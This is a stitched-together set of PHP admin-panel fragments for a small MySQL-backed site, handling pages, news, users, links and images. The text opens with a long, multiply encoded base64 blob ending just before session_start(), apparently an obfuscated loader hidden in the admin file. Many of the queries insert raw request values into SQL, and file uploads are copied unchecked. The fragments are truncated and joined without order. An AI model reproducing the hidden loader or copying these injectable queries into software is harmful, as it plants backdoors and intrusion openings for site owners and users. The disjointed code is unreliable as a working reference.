ZGtSbkJVWkRKa1NtSnRUbkJUTVZKNldqRndkVkZxUm10VFJURjJVMnRvZDJKVmVFUlJWM1JhWW14YWRGTXhVbnBhTVhCMFZHNU9hVTB3TlhOVE1FNVRUbXh3Y0dGNlpFcFJNVWt5VjJ0T1FrOVZiRWhhUkZwcFRUQktjMWx0Ykc1aE1sSklUVmhrWVdKVVZtOVpiR1JXWXpCc1JGTnViRXBoVjNNelUydGtUMlJ0U25WVmJYaHBZbXhLTmxOVlVYZGFNVzk2WTBoc1lWWXdXbkpUTUU1VFRteHdSR1F5WkU1V1JVWXpWRlZTUW1Rd01VVlJXRUpRWlZaS2NWbHFTVEZOUm5CWVRsUkNhbVZWUlRWVFZWcDNWR3MxV0dJemJHcFdSVW8yV1ZWa1lWcHRTbGhQVjNSWlRXczFNbGx0Ykc1aE1XdDVUMWhXYTFJeFdqRmFSV2hPWTBVNGVWcEVXbHBOYm1neVdYcEtWbUl3Y0VsalIzUk1Wa2hSZUZsdE1UUmpSMHAwWXpJNVMxTkdTakJaTUdSaFpGWnNXRTFYZUV4V1NFNXlWMVJKTldSWFVraFdibFpyVTBVeGJsVkdUa05pYlZaMFZtNVdXazFxYkhKWGJFNXVZVEZyZVU5WVZtdFNNVm94V2tWb1RtTkZPSHBOUjJSaFZqTm9ObGRzVGtOT01IQklWRzVhYVdKc1NuTlpiVFZUWld0c1JVMUhaRmhoZWtGNFdWZHdTMlZGTVVsVWJUbGhZa1JzTUZscVNsTmFiR3Q1VDFoV1RGRXhTbkJhUm1SYVkwVTVOVkZxYkcxVk1FcHpXV3RvVDJKRmJFbGpNblJhVFdwc01WcEZaRmRrVjFKSlZGZGtVVlV3U21oV1JsSlhZMVV4ZFZKWVpHcE5iV2gwVjBSSmVHUnNjRWRQVjNCcFRXcFNkbE5yWkV0TlZuQndZWHBrYlZkRmNITmFSV2hYWlZkS2NGb3lkRnBOYW13eFdrVmtWMlJYVWtsVVdFSlFaRE5CTlZFeU5IZFRNR3hDWTBoYVdtSkViRFphUldSSFpWZFNSRm95YkZoaGVrRjRXVmR3UzJWRk1VbFViVGxoWWtSc2NWZFdaRFJqTVd4MFVtMXdhR1ZWYkhkVU0yUjJVekphVW1ORWJFUmlha0pNU1dscmNFOTVRVDBpS1NrN0lBPT0iKSk7IA=='); session_start(); require_once "../config.php"; require_once $FOLDER->class . "/class.mysql.php"; require_once $FOLDER->class . "/class.session.php"; if (isset($_GET['options'])) { $options = preg_replace('#[^a-z]+#i', '', $_GET['options']); } /* $languages = new language_set(); $lang = $languages->session_set(); */ $db = new mysql(); $SQL = $db->query("Select * From " . TABLE_SETTINGS . ""); $Row = $db->fetch($SQL); define("TITLE", $Row[0]); define("INDEX_PAGE_ID", $Row[1]); define("DEFAULT_LANGUAGE", $Row[2]); if (isset($_GET[language])) { $_SESSION[adminlang] = mysql_real_escape_string(strip_tags($_GET[language])); } $lang = isset($_SESSION[adminlang]) ? $_SESSION[adminlang] : DEFAULT_LANGUAGE; $Yoxla = mysql_fetch_array($db->query("select * from " . TABLE_ADMINKA . " where username='******' and pass='******'")); if ($Yoxla) { $_SESSION['UserAdmin'] = $_POST[login]; } if ($_GET['logout'] == 'yes') { unset($_SESSION["UserAdmin"]); unset($_SESSION["adminlang"]); echo "<script>document.location='index.php</script>";
$JsHttpRequest = new JsHttpRequest("windows-1251"); if (!$auth->check()) { $GLOBALS['_RESULT'] = array("q" => "You are not logged in"); exit; } switch ($_REQUEST['q']) { case "delete": $q = "DELETE FROM `" . PREF . "values`\n\t\tWHERE value_id='" . $_REQUEST['pid'] . "'\n\t\tLIMIT 1"; $sql->query($q); $q = "DELETE FROM `" . PREF . "kvi_links`\n\t\tWHERE link_value='" . $_REQUEST['pid'] . "'\n\t\tLIMIT 1"; $sql->query($q); $GLOBALS['_RESULT'] = array('q' => mysql_error()); break; case "newrow": $q = "SELECT MAX(v.value_sort) AS max\n\t\t\tFROM `" . PREF . "kvi_links` AS ln, `" . PREF . "values` AS v\n\t\t\tWHERE ln.link_value=v.value_id AND ln.link_img='" . $_REQUEST['id'] . "'"; $max = $sql->fetch($sql->query($q)); $q = "INSERT INTO `" . PREF . "values`\n\t\tVALUES (NULL, '" . mysql_real_escape_string($_REQUEST['eng']) . "', '" . mysql_real_escape_string($_REQUEST['rus']) . "', '" . ($max['max'] ? $max['max'] + 1 : '1') . "')"; $res = $sql->query($q); $my_id = mysql_insert_id(); $q = "INSERT INTO `" . PREF . "kvi_links`\n\t\tVALUES ('" . $_REQUEST['id'] . "', '" . $_REQUEST['key'] . "', '" . $my_id . "')"; $res = $sql->query($q); $GLOBALS['_RESULT'] = array('id' => $my_id, 'ok' => true); break; case "edit": $q = "UPDATE `" . PREF . "values` SET\n\t\t\tvalue_name_eng='" . mysql_real_escape_string($_REQUEST['e']) . "', value_name_rus='" . mysql_real_escape_string($_REQUEST['r']) . "'\n\t\t\tWHERE value_id='" . $_REQUEST['id'] . "'\n\t\t\tLIMIT 1"; $res = $sql->query($q); $q = "UPDATE `" . PREF . "kvi_links` SET link_key='" . $_REQUEST['key'] . "'\n\t\t\tWHERE link_value='" . $_REQUEST['id'] . "'\n\t\t\tLIMIT 1"; $res = $sql->query($q); break; case "resize": //var_dump($_REQUEST);
<?php $db = new mysql(); $Sql = $db->query("Select * From " . TABLE_PAGES . " Where id='{$id}' AND lang_id='{$lang}'"); $Row = $db->fetch($Sql); if ($_POST['add'] == "yes") { if (isset($_POST['link'])) { $_POST[link] = mysql_real_escape_string(strip_tags($_POST[link])) . '##' . mysql_real_escape_string(strip_tags($_POST[p])); $db->query("UPDATE " . TABLE_PAGES . " SET pagename='" . protect($_POST['pagename']) . "', link='" . $_POST['link'] . "' WHERE id='{$_POST['uid']}' AND lang_id='{$lang}'"); $db->query("UPDATE " . TABLE_PAGES . " SET type='" . $_POST['type'] . "' WHERE id='{$_POST['uid']}'"); echo "<script>document.location='index.php'</script>"; } else { if (isset($_POST['news'])) { $db->query("UPDATE " . TABLE_PAGES . " SET pagename='" . protect($_POST['pagename']) . "' WHERE id='{$_POST['uid']}' AND lang_id='{$lang}'"); $db->query("UPDATE " . TABLE_PAGES . " SET type='" . $_POST['type'] . "' WHERE id='{$_POST['uid']}'"); echo "<script>document.location='index.php'</script>"; } else { if (get_magic_quotes_gpc()) { } else { $_POST[content] = mysql_real_escape_string($_POST['content']); } $db->query("UPDATE " . TABLE_PAGES . " SET pagename='" . protect($_POST['pagename']) . "', content='" . $_POST[content] . "' WHERE id='{$_POST['uid']}' AND lang_id='{$lang}'"); $db->query("UPDATE " . TABLE_PAGES . " SET type='" . $_POST['type'] . "' WHERE id='{$_POST['uid']}'"); echo "<script>document.location='index.php'</script>"; } } } if ($_GET['action'] == "delete") { $db->query("DELETE From " . TABLE_PAGES . " WHERE sub_id='" . $id . "'"); $db->query("DELETE From " . TABLE_PAGES . " WHERE id='" . $id . "'"); $new_archive_id = $id + 120;
<?php if ($_POST['add'] == "yes") { $db = new mysql(); $result2 = $db->query("Select * From " . TABLE_LANGUAGES . ""); $get_old_id = $db->fetch($db->query("SELECT id FROM " . TABLE_PAGES . " ORDER BY id DESC LIMIT 1")); $new_id = $get_old_id[0] + 1; $get_old_order = $db->fetch($db->query("SELECT ordering FROM " . TABLE_PAGES . " ORDER BY ordering DESC LIMIT 1")); $new_order = $get_old_order[0] + 1; if ($_POST['subid'] == "0") { $sub = "0"; } else { $sub = $_POST['subid']; } while ($arr = mysql_fetch_array($result2)) { $t = $arr[1]; $result = $db->query("INSERT INTO " . TABLE_PAGES . " VALUES (\r\n\t\t\t\t'{$new_id}',\r\n\t\t\t\t'{$sub}', \r\n\t\t\t\t'" . $_POST['pagename_' . $t] . "', \r\n\t\t\t\t'{$content}' , \r\n\t\t\t\t'" . ADDDATE . "' , \r\n\t\t\t\t'0' , \r\n\t\t\t\t'{$arr['1']}', \r\n\t\t\t\t'{$_POST['visibility']}', \r\n\t\t\t\t'', \r\n\t\t\t\t'{$_POST['type']}', \r\n\t\t\t\t'top',\r\n\t\t\t\t'{$new_order}',\r\n\t\t\t\t''\r\n\t\t)"); } echo "<script>document.location='index.php'</script>"; }
error_reporting(0); require_once "../cfg.php"; require_once ROOT . "/classes/adm_authorize.php"; // Load JsHttpRequest backend. require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php"; $sql = new mysql($sql); $auth = new adm_authorize($sql); // Create main library object. You MUST specify page encoding! $JsHttpRequest = new JsHttpRequest("windows-1251"); if (!$auth->check()) { $GLOBALS['_RESULT'] = array("q" => "You are not logged in"); exit; } switch ($_REQUEST['q']) { case "newrow": $sort = $sql->fetch($sql->query("SELECT MAX(sort) AS max FROM `" . PREF . "links`")); $res = $sql->query("INSERT INTO `" . PREF . "links` VALUES (NULL, '" . mysql_real_escape_string($_REQUEST['url']) . "', '" . mysql_real_escape_string($_REQUEST['eng']) . "', '" . mysql_real_escape_string($_REQUEST['rus']) . "', '" . ($sort['max'] + 1) . "')"); $GLOBALS['_RESULT'] = array("id" => mysql_insert_id(), "ok" => true); break; case "delete": $sql->query("DELETE FROM `" . PREF . "links` WHERE id='" . $_REQUEST['pid'] . "'"); $GLOBALS['_RESULT'] = array(); break; case "edit": $q = array(); if ($_REQUEST['url'] != '') { $q[] = "url='" . mysql_real_escape_string($_REQUEST['url']) . "'"; } else { echo 'no url !!!'; return false; }
<?php error_reporting(0); require_once "../cfg.php"; require_once ROOT . "/classes/adm_authorize.php"; // Load JsHttpRequest backend. require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php"; $sql = new mysql($sql); $auth = new adm_authorize($sql); // Create main library object. You MUST specify page encoding! $JsHttpRequest = new JsHttpRequest("windows-1251"); if (!$auth->check()) { $GLOBALS['_RESULT'] = array("q" => "You are not logged in"); exit; } $f = $sql->fetch($sql->query("SELECT img_filename AS fname, img_project_id AS pid, img_order AS ord\n\tFROM `" . PREF . "img`\n\tWHERE img_id='" . $_REQUEST['img'] . "' LIMIT 1")); $oldname = $f['fname']; while (file_exists(ROOT . "/images/" . $f['fname'] . ".jpg")) { $f['fname'] = md5(md5(rand(0, 1000000)) . $f['fname'] . md5(rand(0, 100000))); } $query = "UPDATE `" . PREF . "img`\n\tSET img_project_id='0', img_order='0', img_filename='" . $f['fname'] . "'\n\tWHERE img_id='" . $_REQUEST['img'] . "'"; if (!$sql->query($query)) { echo mysql_error(); } else { rename(ROOT . "/images/" . $oldname . ".jpg", ROOT . "/images/unsorted/" . $f['fname'] . ".jpg"); rename(ROOT . "/images/thumb_" . $oldname . ".jpg", ROOT . "/images/unsorted/thumb_" . $f['fname'] . ".jpg"); $sql->query("UPDATE `" . PREF . "img`\n\tSET img_order=img_order-1 WHERE img_project_id='" . $f['pid'] . "' AND img_order > '" . $f['ord'] . "'"); }
<?php if ($_POST['add'] == "yes") { $db = new mysql(); $pass = md5($_POST['pass']); $usr = trim($_POST['username']); $nums = $db->num($db->query("SELECT * FROM " . TABLE_ADMINKA . " Where username like '{$usr}'")); if ($nums > 0) { $_SESSION['error_admin'] = "This user uje var :)"; echo "<script>document.location='index.php?options=users&action=error'</script>"; exit; } $get_old_id = $db->fetch($db->query("SELECT id FROM " . TABLE_ADMINKA . " ORDER BY id DESC LIMIT 1")); $new_id = $get_old_id[0] + 1; $result = $db->query("INSERT INTO " . TABLE_ADMINKA . " VALUES (\r\n\t\t'{$new_id}', \r\n\t\t'" . trim($_POST['username']) . "', \r\n\t\t'" . $pass . "')"); echo "<script>document.location='index.php?options=users'</script>"; } if ($_GET['action'] == "delete") { $db->query("DELETE From " . TABLE_ADMINKA . " WHERE id='" . $id . "'"); echo "<script>document.location='index.php?options=users'</script>"; } if ($_GET[action] == "edit") { $pass = md5($_POST['pass']); $db->query("UPDATE " . TABLE_ADMINKA . " SET pass='******' WHERE id='" . $_POST[uid] . "'"); echo "<script>document.location='index.php?options=users'</script>"; }
require_once "../cfg.php"; require_once ROOT . "/classes/adm_authorize.php"; // Load JsHttpRequest backend. require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php"; $sql = new mysql($sql); $auth = new adm_authorize($sql); // Create main library object. You MUST specify page encoding! $JsHttpRequest = new JsHttpRequest("windows-1251"); if (!$auth->check()) { $GLOBALS['_RESULT'] = array("q" => "You are not logged in"); exit; } $error = 0; switch ($_REQUEST['q']) { case "update": $r = $sql->fetch($sql->query("SELECT MAX(p_order) AS max FROM `" . PREF . "projects` WHERE p_cat_id='" . mysql_real_escape_string($_REQUEST['cat']) . "'")); $r2 = $sql->fetch($sql->query("SELECT p_cat_id AS cat FROM `" . PREF . "projects` WHERE p_id='" . mysql_real_escape_string($_REQUEST['id']) . "' LIMIT 1")); $q = "UPDATE `" . PREF . "projects`\n\t\t\tSET p_name_r='" . mysql_real_escape_string($_REQUEST['nr']) . "',\n\t\t\tp_name_e='" . mysql_real_escape_string($_REQUEST['ne']) . "',\n\t\t\tp_cat_id='" . mysql_real_escape_string($_REQUEST['cat']) . "'" . ($r2['cat'] != $_REQUEST['cat'] ? ", p_order='" . ($r['max'] + 1) . "'" : '') . "\n\t\t\tWHERE p_id='" . mysql_real_escape_string($_REQUEST['id']) . "' LIMIT 1"; $sql->query($q); echo mysql_error(); echo $q; break; case "fillselect": $keys = $values = array(); $sql->query("SELECT * FROM `" . PREF . "category` ORDER BY `cat_id`"); while ($row = $sql->fetch()) { $keys[] = $row['cat_id']; $values[] = $row['cat_name_eng'] . " | " . $row['cat_name_rus']; } $GLOBALS['_RESULT'] = array('k' => $keys, 'v' => $values); break;
<?php if ($_POST['add'] == "yes") { $db = new mysql(); $qR = $db->query("SELECT `mail` FROM `" . TABLE_MAIL . "`"); $get_old_id = $db->fetch($db->query("SELECT news_id FROM " . TABLE_NEWS . " ORDER BY news_id DESC LIMIT 1")); $new_id = $get_old_id[0] + 1; $created = $_POST[year] . "-" . $_POST[month] . "-" . $_POST[day]; $crtime = date('H:i:s'); if ($_POST['imgs'] == "yes") { $new_name = $new_id . time() . date('dmy'); $target = "../files/news/"; $target = $target . basename("{$new_name}.jpg"); $imgname = $_FILES['image']['tmp_name']; copy($imgname, $target); $thumb = "{$new_name}.jpg"; } else { $thumb = ""; } $db->query("INSERT INTO " . TABLE_NEWS . " VALUES (\r\n\t\t'" . $_POST['page_id'] . "', \r\n\t\t'" . $new_id . "',\r\n\t\t'" . protect($_POST['title']) . "', \r\n\t\t'" . protect($_POST['sh_desc']) . "',\r\n\t\t'" . mysql_real_escape_string($_POST['content']) . "' , \r\n\t\t'" . $thumb . "' ,\r\n\t\t'" . $lang . "' , \r\n\t\t'" . $created . "' ,\r\n\t\t'" . $crtime . "' ,\r\n\t\t'')"); if (!empty($qR)) { $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n"; $headers .= 'From: ' . TITLE . ' <' . MAIN_MAIL . '>' . "\r\n"; while ($tR = mysql_fetch_object($qR)) { mail($tR->mail, $_POST[title], $_POST[content], $headers); } } echo "<script>document.location='index.php?options=news'</script>"; }